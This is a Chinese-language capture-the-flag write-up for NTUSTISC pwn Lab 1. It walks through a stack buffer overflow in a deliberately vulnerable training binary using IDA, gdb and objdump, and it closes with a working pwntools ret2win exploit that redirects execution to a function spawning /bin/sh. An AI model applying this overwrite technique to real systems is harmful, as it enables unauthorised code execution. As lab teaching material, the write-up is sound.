[NTUSTISC pwn LAB 1]栈溢出:gdb动态调试bof
Posted 漫小牛
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[NTUSTISC pwn LAB 1]栈溢出:gdb动态调试bof相关的知识,希望对你有一定的参考价值。
文章目录
一、考点
- 栈溢出
- gdb动态调试
- objdump
- pwntools脚本与二进制程序相结合的动态调试
二、相关资源
题目及相关资源的下载地址为:
链接:https://pan.baidu.com/s/1uRyQN1dzA0OLsgcn1UtYjg
提取码:vfdl
本次实验对应Lab1
三、题目
这是一道较基础的pwn题,同时不但给出了二进制文件,也给出了源文件:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void y0u_c4n7_533_m3()
{
execve("/bin/sh", (char *[]){0}, (char *[]){0});
}
int main()
{
char buf[16];
puts("This is your first bof challenge ;)");
fflush(stdout);
read(0, buf, 0x30);
return 0;
}
四、解题过程
1、检查保护机制
checksec无任何保护机制:
2、运行查看效果
运行该程序,在用户输入时,填充大量的11111111,报段错误,可能存在缓冲区溢出漏洞。
3、IDA静态分析
拖入IDA进行静态分析,主函数main为:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[16]; // [rsp+0h] [rbp-10h] BYREF
puts("This is your first bof challenge ;)");
fflush(_bss_start);
read(0, buf, 0x30uLL);
return 0;
}
除了主函数main外,在function窗口很容易看到一个很有特点的函数y0u_c4n7_533_m3:
int y0u_c4n7_533_m3()
{
char *envp; // [rsp+0h] [rbp-10h] BYREF
char *argv; // [rsp+8h] [rbp-8h] BYREF
envp = 0LL;
argv = 0LL;
return execve("/bin/sh", &argv, &envp);
}
该函数执行后,可获得shell。
4、gdb动态调试
使用gdb动态调试,分别进行如下操作:
gdb bof
b main
r
单步n,一直到read的位置,这是堆栈空间还没有被污染的样子,main函数执行完后,会从堆栈中弹出下一条指令的地址(这是main返回后要去的地方),即图中标红的部分:
单步n,任意输入一串数字,发现这个位置已被填充为bbcccccc
继续向下执行,到达指令ret时,程序crash:
5、objdump查虚拟地址
在命令行中执行objdump -d -M intel bof,查看y0u_c4n7_533_m3函数的地址为0x40607:
6、编写exp
编写的exp为:
from pwn import *
r = process('./bof')
magic = 0x400607
payload = 'a'*0x18 + p64(magic)
r.recvuntil(';)\\n')
r.send(payload)
r.interactive()
运行该脚本后,执行ls命令,可以看出已经拿到了shell:
五、动态验证(二进制+pwntools混合调试)
在exp中增加一行代码raw_input():
from pwn import *
r = process('./bof')
raw_input()
magic = 0x400607
payload = 'a'*0x18 + p64(magic)
r.recvuntil(';)\\n')
r.send(payload)
r.interactive()
在当前窗口执行该python脚本,程序会因raw_input()这条语句卡在这里:
再打开另一终端并执行gdb bof,在gdb中输入attach 116143附加调试到bof进程。
输入disassemble main,查看main函数的反汇编代码中read函数的地址为0x40066d,并在这里设置断点:
输入n,切换到执行python脚本的终端,按回车键跳过卡着的位置。再回到gdb的终端,这时可看到return address已经替换为y0u_c4n7_533_m3函数的地址。
这种调试方法也是pwn手所必备的技能,通过raw_input()的方式,实现pwntools脚本与二进制程序交互的同时,实现了pwntools脚本与二进制程序相结合的动态调试。
以上是关于[NTUSTISC pwn LAB 1]栈溢出:gdb动态调试bof的主要内容,如果未能解决你的问题,请参考以下文章
[NTUSTISC pwn LAB 3]栈溢出:返回值跳转到shellcode ret2sc 实验
[NTUSTISC pwn LAB 4]gothijacking入门实验
[NTUSTISC pwn LAB 0]新手就能掌握的pwntools接口入门实验